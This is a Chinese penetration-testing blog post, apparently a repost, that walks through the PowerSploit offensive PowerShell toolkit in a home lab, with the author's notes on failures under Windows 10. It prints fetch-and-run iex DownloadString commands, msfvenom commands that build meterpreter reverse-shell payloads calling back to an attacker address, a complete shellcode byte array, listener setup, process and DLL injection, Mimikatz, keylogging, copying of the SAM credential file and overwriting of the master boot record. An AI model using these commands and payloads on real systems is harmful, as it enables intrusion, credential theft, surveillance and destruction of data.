powersploit使用方法——果然是过时了,好多命令都无法成功执行

powersploit使用方法

 

一、PowerSploit简介

PowerSploit是GitHub上面的一个安全项目,上面有很多powershell攻击脚本,它们主要被用来渗透中的信息侦察、权限提升、权限维持。

Powershell的优点:

1.代码运行在内存中可以不去接触磁盘

2.从另一个系统中下载代码并执行

3.很多安全产品并不能监测到powershell的活动

4.cmd.exe通常被阻止运行,但是powershell不会

二、实验环境

Win7 搭建powersploit站点  ip:10.10.10.187

Win 2008(靶机) 远程加载位于win7的powersploit上的脚本  ip:10.10.10.183

Kali powersploit部分脚本可能需要kali msf的配合  ip:10.10.10.128

三、搭建站点

1.首先在win7搭建简易可下载powersploit脚本的服务器,本例用python的web功能搭建一个站点,也可以用IIS以及apache等来搭建。

Python  -m http.server 80   #注意是python3.7的命令,不同版本可能开启web服务的命令可能不同。

  

2.在靶机(win 2008)上测试

 

四、powershell脚本分类以及功能

一、AntivirusBypass(绕过杀毒)

Find-AVSignature   发现杀软的签名

二、CodeExecution(代码执行)

1.  Invoke-DllInjection.ps1  DLL注入脚本 注意dll架构要与目标进程相符,同时要具备相应的权限

2. Invoke-ReflectivePEInjection.ps1   反射型注入 将Windows PE文件(DLL / EXE)反射加载到powershell进程中,或反射地将DLL注入远程进程

3. Invoke-Shellcode.ps1   将shellcode插入您选择的进程ID或本地PowerShell中

4. Invoke-WmiCommand.ps1  在目标主机使用wmi执行命令

三、Exfiltration(信息收集)    #这个文件夹主要是收集目标主机上的信息

1. Out-Minidump.ps1              生成一个进程的全内存小数据库

2. Get-VaultCredential.ps1 显示Windows徽标凭据对象,包括明文Web凭据

3. Get-Keystrokes.ps1       记录按键,时间和活动窗口

4. Get-GPPPassword.ps1          检索通过组策略首选项推送的帐户的明文密码和其他信息

5. Get-GPPAutologon.ps1        如果通过组策略首选项推送,则从registry.xml检索自动登录用户名和密码

6. Get-TimedScreenshot.ps1    这是一个以定期间隔拍摄屏幕并将其保存到文件夹的功能

7. Invoke-Mimikatz.ps1            查看主机密码

8. Invoke-NinjaCopy.ps1          通过读取原始卷并解析NTFS结构,从NTFS分区卷复制文件

9. Invoke-CredentialInjection.ps1    使用明文凭据创建登录,而不会触发可疑事件ID 4648(显式凭证登录)

10. Invoke-TokenManipulation.ps1         列出可用的登录令牌。与其他用户创建进程登录令牌,并模仿当前线程中的登录令牌

11. Get-MicrophoneAudio.ps1        通过麦克风记录声音

12. VolumeShadowCopyTools.ps1         

四、Recon(信息侦察)   #这个文件夹主要是以目标主机为跳板进行内网主机侦察

1. Invoke-Portscan.ps1   端口扫描

2. Get-HttpStatus.ps1      返回指定路径的HTTP状态代码和完整URL,并附带字典文件

3. Invoke-ReverseDnsLookup.ps1  扫描DNS PTR记录的IP地址范围

4. PowerView.ps1       PowerView是一系列执行网络和Windows域枚举和利用的功能

5.Get-ComputerDetails   获得登录信息

五、ScriptModification(脚本修改)

1. Out-EncodedCommand.ps1    将脚本或代码块编码,并为PowerShell有效载荷脚本生成命令行输出

2. Out-EncryptedScript.ps1   加密文本文件/脚本

3. Out-CompressedDll.ps1   压缩,Base-64编码,并输出生成的代码,以将受管理的DLL加载到内存中

4. Remove-Comments.ps1       从脚本中删除注释和多余的空白

六、Persistence(权限维持)

1. New-UserPersistenceOption  为添加持久性函数配置用户级持久性选项。

2. New-ElevatedPersistenceOption   为添加持久性函数配置提升的持久性选项。

3. Add-Persistence    向脚本添加持久性功能

4. Install-SSP        安装安全支持提供程序(ssp)dll

5. Get-SecurityPackages

七、Privesc(提权)

PowerUP: 共同特权升级检查的信息交换所,以及一些武器化载体

Get-System

八、Mayhem

Set-MasterBootRecord   选择的消息覆写主引导记录

Set-CriticalProcess  退出powershell时使系统蓝屏

五、开始实验

 一、AntivirusBypass(绕过杀毒) 

Find-AVSignature  发现杀软的签名

1、先在靶机(windows 2008)上远程加载位于win7的Invoke-Shellcode.ps1脚本

iex(New-Object Net.WebClient).DownloadString("http://10.10.10.187/PowerSploit-master/AntivirusBypass/Find-AVSignature.ps1")

  

2、运行脚本,这里以之前的msf.exe反弹马为例  注意:本例把偏移量划分的不太合适,有兴趣自己慢慢划分,文件的偏移量范围本例使用winhex查看的。 ==》应该是用二分查找思路来发现特征码。。。。 

Find-AVSignature -StartByte 0 -EndByte 220000 -Interval 110000 -Path C:\Users\Administrator.WIN2008\Desktop\msf.exe -OutPath C:\Users\Administrator.WIN2008\Desktop\test\run2 -Verbose

  

3、 上图生成3个文件,然后把每个文件用在线病毒测试网站测试一下(这里推荐使用http://www.virscan.org/),看看病毒在哪个文件,然后再把有病毒的那个文件继续划分偏移量范围生成新的文件,然后继续再病毒测试网站测试,直到最终确定病毒的特征码范围。

  

 

  

二、CodeExecution(代码执行)

Shellcode注入:

1、先在靶机(windows 2008)上远程加载位于win7的Invoke-Shellcode.ps1脚本

iex(New-Object Net.WebClient).DownloadString("http://10.10.10.187/PowerSploit-master/CodeExecution/Invoke-Shellcode.ps1")

get-help Invoke-Shellcode

  

2、在kali中使用msfvenom生成一个powershell反弹马

msfvenom -p windows/x64/meterpreter/reverse_https lhost=10.10.10.128 lport=4444 -f powershell -o /var/www/test

  

==》看下在我机器上生成文件的结果:

[Byte[]] $buf = 0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x0,0x0,0x0,0x41,0x51,0x41,0x50,0x52,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,0x20,0x51,0x56,0x48,0xf,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x8b,0x72,0x50,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x2,0x2c,0x20,0x41,0xc1,0xc9,0xd,0x41,0x1,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x1,0xd0,0x66,0x81,0x78,0x18,0xb,0x2,0xf,0x85,0x72,0x0,0x0,0x0,0x8b,0x80,0x88,0x0,0x0,0x0,0x48,0x85,0xc0,0x74,0x67,0x48,0x1,0xd0,0x44,0x8b,0x40,0x20,0x50,0x8b,0x48,0x18,0x49,0x1,0xd0,0xe3,0x56,0x4d,0x31,0xc9,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x1,0xd6,0x48,0x31,0xc0,0x41,0xc1,0xc9,0xd,0xac,0x41,0x1,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x3,0x4c,0x24,0x8,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x1,0xd0,0x66,0x41,0x8b,0xc,0x48,0x44,0x8b,0x40,0x1c,0x49,0x1,0xd0,0x41,0x8b,0x4,0x88,0x48,0x1,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,0x4b,0xff,0xff,0xff,0x5d,0x48,0x31,0xdb,0x53,0x49,0xbe,0x77,0x69,0x6e,0x69,0x6e,0x65,0x74,0x0,0x41,0x56,0x48,0x89,0xe1,0x49,0xc7,0xc2,0x4c,0x77,0x26,0x7,0xff,0xd5,0x53,0x53,0x48,0x89,0xe1,0x53,0x5a,0x4d,0x31,0xc0,0x4d,0x31,0xc9,0x53,0x53,0x49,0xba,0x3a,0x56,0x79,0xa7,0x0,0x0,0x0,0x0,0xff,0xd5,0xe8,0xf,0x0,0x0,0x0,0x31,0x39,0x32,0x2e,0x31,0x36,0x38,0x2e,0x31,0x36,0x38,0x2e,0x39,0x36,0x0,0x5a,0x48,0x89,0xc1,0x49,0xc7,0xc0,0x5c,0x11,0x0,0x0,0x4d,0x31,0xc9,0x53,0x53,0x6a,0x3,0x53,0x49,0xba,0x57,0x89,0x9f,0xc6,0x0,0x0,0x0,0x0,0xff,0xd5,0xe8,0xa4,0x0,0x0,0x0,0x2f,0x31,0x37,0x36,0x6f,0x74,0x49,0x58,0x64,0x6c,0x55,0x30,0x6f,0x68,0x43,0x6d,0x47,0x53,0x76,0x64,0x6f,0x72,0x41,0x42,0x56,0x4e,0x6f,0x73,0x5f,0x51,0x36,0x4f,0x36,0x51,0x74,0x59,0x7a,0x55,0x49,0x49,0x70,0x79,0x4c,0x7a,0x39,0x63,0x4b,0x55,0x4b,0x61,0x76,0x4c,0x6e,0x37,0x4f,0x37,0x6f,0x74,0x35,0x5a,0x43,0x52,0x6f,0x69,0x4f,0x66,0x39,0x69,0x4a,0x77,0x36,0x39,0x6f,0x49,0x76,0x77,0x57,0x6b,0x62,0x6b,0x4a,0x57,0x73,0x61,0x6d,0x47,0x61,0x54,0x41,0x43,0x33,0x6b,0x5a,0x5f,0x78,0x75,0x70,0x56,0x62,0x54,0x74,0x51,0x75,0x6d,0x35,0x41,0x63,0x35,0x69,0x6b,0x51,0x43,0x43,0x4b,0x6d,0x79,0x58,0x43,0x77,0x55,0x4d,0x6d,0x79,0x2d,0x41,0x6a,0x43,0x4f,0x4e,0x37,0x44,0x59,0x55,0x65,0x64,0x36,0x5a,0x76,0x62,0x4d,0x50,0x70,0x35,0x32,0x56,0x38,0x7a,0x48,0x42,0x58,0x38,0x70,0x33,0x70,0x45,0x5a,0x6d,0x37,0x44,0x66,0x65,0x35,0x69,0x0,0x48,0x89,0xc1,0x53,0x5a,0x41,0x58,0x4d,0x31,0xc9,0x53,0x48,0xb8,0x0,0x32,0xa8,0x84,0x0,0x0,0x0,0x0,0x50,0x53,0x53,0x49,0xc7,0xc2,0xeb,0x55,0x2e,0x3b,0xff,0xd5,0x48,0x89,0xc6,0x6a,0xa,0x5f,0x48,0x89,0xf1,0x6a,0x1f,0x5a,0x52,0x68,0x80,0x33,0x0,0x0,0x49,0x89,0xe0,0x6a,0x4,0x41,0x59,0x49,0xba,0x75,0x46,0x9e,0x86,0x0,0x0,0x0,0x0,0xff,0xd5,0x4d,0x31,0xc0,0x53,0x5a,0x48,0x89,0xf1,0x4d,0x31,0xc9,0x4d,0x31,0xc9,0x53,0x53,0x49,0xc7,0xc2,0x2d,0x6,0x18,0x7b,0xff,0xd5,0x85,0xc0,0x75,0x1f,0x48,0xc7,0xc1,0x88,0x13,0x0,0x0,0x49,0xba,0x44,0xf0,0x35,0xe0,0x0,0x0,0x0,0x0,0xff,0xd5,0x48,0xff,0xcf,0x74,0x2,0xeb,0xaa,0xe8,0x55,0x0,0x0,0x0,0x53,0x59,0x6a,0x40,0x5a,0x49,0x89,0xd1,0xc1,0xe2,0x10,0x49,0xc7,0xc0,0x0,0x10,0x0,0x0,0x49,0xba,0x58,0xa4,0x53,0xe5,0x0,0x0,0x0,0x0,0xff,0xd5,0x48,0x93,0x53,0x53,0x48,0x89,0xe7,0x48,0x89,0xf1,0x48,0x89,0xda,0x49,0xc7,0xc0,0x0,0x20,0x0,0x0,0x49,0x89,0xf9,0x49,0xba,0x12,0x96,0x89,0xe2,0x0,0x0,0x0,0x0,0xff,0xd5,0x48,0x83,0xc4,0x20,0x85,0xc0,0x74,0xb2,0x66,0x8b,0x7,0x48,0x1,0xc3,0x85,0xc0,0x75,0xd2,0x58,0xc3,0x58,0x6a,0x0,0x59,0x49,0xc7,0xc2,0xf0,0xb5,0xa2,0x56,0xff,0xd5

 

3、在msf中设置监听(windows/x64/meterpreter/reverse_https模块进行反弹)并开启监听

use exploit/multi/handler   #使用监听模块

set payload windows/x64/meterpreter/reverse_https     #设置一个payload

      

  

4、把刚才使用msfvenom生成的powershell脚本复制到靶机(windows 2008)

5、靶机(windows 2008)加载shellcode    #注意这里的shellcode为在kali用msfvenom生成的一个powershell脚本,打开内容,取变量$buf的值 ==》在我的win10机器上失败了!!!

Invoke-Shellcode -Shellcode @()    #可以查看帮助文档,其中有一个例子这个的用法

  

 

   

我win10机器上的失败信息:

Injecting shellcode into the running PowerShell process!
Do you wish to carry out your evil plans?
[Y] 是(Y)  [N] 否(N)  [S] 暂停(S)  [?] 帮助 (默认值为“Y”):
检索不到变量“$VirtualAlloc”,因为未设置该变量。
所在位置 行:326 字符: 24
+         $BaseAddress = $VirtualAlloc.Invoke([IntPtr]::Zero, $Shellcod ...
+                        ~~~~~~~~~~~~~
    + CategoryInfo          : InvalidOperation: (VirtualAlloc:String) [],RuntimeException
    + FullyQualifiedErrorId : VariableIsUndefined

Unable to allocate shellcode memory in PID: 0
所在位置 行:329 字符: 13
+             Throw "Unable to allocate shellcode memory in PID: $Proce ...
+             ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : OperationStopped: (Unable to alloc...emory in PID: 0:String) [], RuntimeException
    + FullyQualifiedErrorId : Unable to allocate shellcode memory in PID: 0

 看了下源码:

 

 

 

 估计还是权限的原因。。。

 

6、kali中运行监听之后就可以看到得到靶机(windows 2008)的一个meterpreter的shell,说明成功控制靶机

  

7、也可以把使用Invoke-Shellcode脚本进行进程注入到别的进程(这里以explorer的3508为例)

  

DLL

首先我们需要知道我们在启动一个程序的时候并没有把所有的需要用到的数据或者文件运行起来,而是只运行了关键部分,那么当我们需要调用到某一功能时再通过DLL来动态链接,不需要时就可以卸载,使得程序不显得臃肿。

DLL注入就是将代码插入/注入到正在运行的进程中的过程。我们注入的代码是动态链接库(DLL)的形式。为什么可以做到这一点?因为DLL是在运行时根据需要来进行加载

注意:对某些进程的注入需要一定的权限

Dll注入:

可以利用powersploit将dll文件注入到当前进程中,但是dll文件必须在目标主机上。

1.先在靶机(windows 2008)上远程加载位于win7的Invoke-DllInjection.ps1脚本

iex(New-Object Net.WebClient).DownloadString("http://10.10.10.187/PowerSploit-master/CodeExecution/Invoke-DllInjection.ps1")

  

2.kali利用msfvenom生成一个dll反弹马

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=10.10.10.128 lport=4444 -f dll -o /var/www/msf.dll

  

3.在msf中设置监听(windows/x64/meterpreter/reverse_tcp模块进行反弹)并开启监听

use exploit/multi/handler

set payload windows/x64/meterpreter/reverse_tcp

  

4.把刚才生成的msf.dll文件拷贝到靶机(windows 2008),然后在windows 2008上运行powershll脚本

Invoke-DllInjection -ProcessID 464 -Dll C:\Users\Administrator.WIN2008\Desktop\msf.dll

  

5.kali msf中运行监听,就可以看到windows 2008反弹过来一个session

  

6.也可以开启一个隐藏进程并注入dll

   

我自己在win10机器上失败,估计原因和下类似:

pinjector进程注入工具针对-win2008以前操作系统
pexec64 32进程注入工具针对-win2008及后操作系统-(佛系)

 

Invoke-ReflectivePEInjection  反射型PE注入

1、先在靶机(windows 2008)上远程加载位于win7 Invoke-ReflectivePEInjection脚本

iex(New-Object Net.WebClient).DownloadString("http://10.10.10.187/PowerSploit-master/CodeExecution/Invoke-ReflectivePEInjection.ps1")

  

2、kali中利用msfvenom生成一个exe反弹马并对木马进行多次编码

msfvenom -p windows/x64/meterpreter_reverse_tcp -e -i 3 lhost=10.10.10.128 lport=4444 -f exe -o /var/www/msf.exe

  

3、在kali msf中设置监听(windows/x64/meterpreter_reverse_tcp)并开启监听

  

4、把在kali中生成的exe木马复制到靶机,在靶机(windows 2008)执行脚本

$PEBytes = [IO.File]::ReadAllBytes('C:\Users\Administrator.WIN2008\Desktop\msf.exe')

Invoke-ReflectivePEInjection -PEBytes $PEBytes -ForceASLR

  

5、这时在kali端就能看到一个windows 2008反弹过来的session

  

==》win10上失败了。。。蛋疼!!!

 

三、Recon(信息侦察)

Invoke-Portscan  端口扫描

1、先在靶机(windows 2008)上远程加载位于win7 Invoke-Portscan.ps1脚本

  

2、开始端口扫描,这里以扫描一个ip字典为例,别的参数,可以查看帮助文档

  

Invoke-ReverseDnsLookup 反向DNS查询

1、 先在靶机(windows 2008)上远程加载位于win7 Invoke-ReverseDnsLookup脚本

iex(New-Object Net.WebClient).DownloadString("http://10.10.10.187/PowerSploit-master/Recon/Invoke-ReverseDnsLookup.ps1")

  

1、 运行脚本查找特定的ip的主机名,下图可以看到查找ip对应的主机名

Invoke-ReverseDnsLookup "10.10.10.128,10.10.10.183,10.10.10.187" | fl IP,HostName

  

Get-HttpStatus 网站目录检测

1、先在靶机(windows 2008)上远程加载位于win7 Get-HttpStatus脚本

iex(New-Object Net.WebClient).DownloadString("http://10.10.10.187/PowerSploit-master/Recon/Get-HttpStatus.ps1")

   

2、 自己创建一个字典,运行脚本,下图可以看到status状态是ok说明目标存在那个网站目录。

   ==》就是网站目录遍历或者目录扫描功能

Get-ComputerDetails 获得主机登录信息

1、 先在靶机(windows 2008)上远程加载位于win7 Get-ComputerDetails脚本

iex(New-Object Net.WebClient).DownloadString("http://10.10.10.187/PowerSploit-master/Recon/Get-ComputerDetails.ps1") ==》最新版是Get-ComputerDetail

  

2、 运行脚本Get-ComputerDetails,看到如下效果,有报错,不知道什么原因,难道powerspolit大神异常处理没考虑完全?==》最新版是Get-ComputerDetail

  

我的机器上返回:

 

 

四、Exfiltration(信息收集)   #这个文件夹主要是收集目标主机上的信息

Invoke-Mimikatz 查看主机密码(需要管理员权限)

1、先在靶机(windows 2008)上远程加载位于win7 Invoke-Mimikatz脚本,并运行脚本查看密码

       iex(New-Object Net.WebClient).DownloadString("http://10.10.10.187/PowerSploit-master/Exfiltration/Invoke-Mimikatz.ps1")

  

 

==》win10没有成功,脚本报错!看来这个ps脚本真的是落伍了。。。。

 

Get-Keystrokes  键盘记录(详细的鼠标键盘记录)

1、先在靶机(windows 2008)上远程加载位于win7 Get-Keystrokes脚本

iex(New-Object Net.WebClient).DownloadString("http://10.10.10.187/PowerSploit-master/Exfiltration/Get-Keystrokes.ps1")

  

2、运行Get-Keystrokes,并把记录结果保存到一个文件

  

==》win10上也没有成功捕获到keylog。。。

 

Invoke-NinjaCopy  超级复制(需要管理员权限,可以复制受保护的运行中的系统文件)

1、先在靶机(windows 2008)上远程加载位于win7 Invoke-NinjaCopy脚本

iex(New-Object Net.WebClient).DownloadString("http://10.10.10.187/PowerSploit-master/Exfiltration/Invoke-NinjaCopy.ps1")

get-help Invoke-NinjaCopy

  

2、运行脚本,把SAM文件复制一份到别处,下图可以看到成功复制一份SAM文件,注意普通复制不能复制系统限制的文件。

Invoke-NinjaCopy -Path "C:\Windows\System32\config\SAM" -LocalDestination "C:\Users\Administrator\Desktop\SAM"

  

==》我在win10上,报错了,和之前所有的报错一样,貌似是语法错误。

使用“1”个参数调用“GetMethod”时发生异常:“发现不明确的匹配。”
所在位置 行:910 字符: 6
+         $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddr ...
+         ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : NotSpecified: (:) [], MethodInvocationException
    + FullyQualifiedErrorId : AmbiguousMatchException

不能对 Null 值表达式调用方法。
所在位置 行:917 字符: 6
+         Write-Output $GetProcAddress.Invoke($null, @([System.Runtime. ...
+         ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : InvalidOperation: (:) [],RuntimeException
    + FullyQualifiedErrorId : InvokeMethodOnNull

找不到“GetDelegateForFunctionPointer”的重载,参数计数为:“2”。
所在位置 行:561 字符: 3
+         $VirtualFreeEx = [System.Runtime.InteropServices.Marshal]::Ge ...
+         ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : NotSpecified: (:) [], MethodException
    + FullyQualifiedErrorId : MethodCountCouldNotFindBest

使用“1”个参数调用“GetMethod”时发生异常:“发现不明确的匹配。”

 

 

3、用普通复制测试一下,看看能否复制SAM文件,下图可以看到普通复制无法复制SAM,因为系统对SAM文件进行保护,只要进程一开启(系统开机自动运行关于SAM文件的进程并且无法停止掉进程),别的程序或者进程就无法访问SAM文件。

  

Get-TimedScreenshot  屏幕记录

1.先在靶机(windows 2008)上远程加载位于win7 Get-TimedScreenshot脚本

iex(New-Object Net.WebClient).DownloadString("http://10.10.10.187/PowerSploit-master/Exfiltration/Get-TimedScreenshot.ps1")

  

2.运行脚本,在test文件夹中可以看到抓取屏幕的图片

Get-TimedScreenshot -Path c:\test\ -Interval 10 -EndTime 23:20

  

==》这个在win10可以正常运行:

 

 

 

3.Get-MicrophoneAudio   通过麦克风记录声音,与Get-TimedScreenshot(屏幕记录)方法一样,这里不再测试

Invoke-CredentialInjection

1.先在靶机(windows 2008)上远程加载位于win7 Invoke-TokenManipulation脚本

iex(New-Object Net.WebClient).DownloadString("http://10.10.10.187/PowerSploit-master/Exfiltration/Invoke-TokenManipulation.ps1")

  

2.Invoke-TokenManipulation -Enumerate  枚举唯一 可用的令牌 别的例子自己查看帮助 ==》win10报错,和前面语法错误一样

  

五、ScriptModification 脚本修改

Out-CompressedDll   将dll压缩并base64编码

1.先在靶机(windows 2008)上远程加载位于win7 Out-CompressedDll脚本

iex(New-Object Net.WebClient).DownloadString("http://10.10.10.187/PowerSploit-master/ScriptModification/Out-CompressedDll.ps1")

  

2.运行脚本 Out-CompressedDll -FilePath C:\Users\Administrator.WIN2008\Desktop\msf.dll

  

Out-EncodedCommand   将脚本或代码块编码

1.先在靶机(windows 2008)上远程加载位于win7 Out-EncodedCommand脚本

iex(New-Object Net.WebClient).DownloadString("http://10.10.10.187/PowerSploit-master/ScriptModification/ Out-EncodedCommand .ps1")

  

2. 脚本块编码

  ==》win10报错

3.脚本编码

  

Out-EncryptedScript   脚本加密

1.先在靶机(windows 2008)上远程加载位于win7 Out-EncryptedScript脚本

iex(New-Object Net.WebClient).DownloadString("http://10.10.10.187/PowerSploit-master/ScriptModification/ Out-EncryptedScript .ps1") ==》win10报错,你妹!

  

2.给脚本加密

  

Remove-Comments   删除注释和不必要的空白符

1.先在靶机(windows 2008)上远程加载位于win7 Remove-Comments脚本

iex(New-Object Net.WebClient).DownloadString("http://10.10.10.187/PowerSploit-master/ScriptModification/ Remove-Comments .ps1")

  

2.运行脚本,删除代码块中的空白和注释以及脚本中的空白和注释

       

六、Mayhem

1.首先查看Mayhem帮助说明文档,可以看到说明文档使用Mayhem模块需要先将Mayhem放到C:\Windows\System32\WindowsPowerShell\v1.0\Modules下,然后需要导入模块

  

2.将Mayhem放到相应的位置之后,便开始导入模块,以及查看命令帮助

Import-Module Mayhem

Get-Command -Module Mayhem

  

3.开始使用命令

3.1Set-CriticalProcess  退出powershell时使系统蓝屏

  

3.2退出powershell测试是否蓝屏,下图可以看到蓝屏了

  

==》win10没有成功!

3.3 Set-MasterBootRecord  覆写主引导记录,本次实验并没有成功

  

==》win10使用管理员成功了,最后效果,启动后停止在这个页面:

 

 sysmon数据采集,没有看到。。。

 

原文地址:https://www.cnblogs.com/yuzly/p/10505365.html

posted @ 2022-05-04 22:17  bonelee  阅读(840)  评论(0编辑  收藏  举报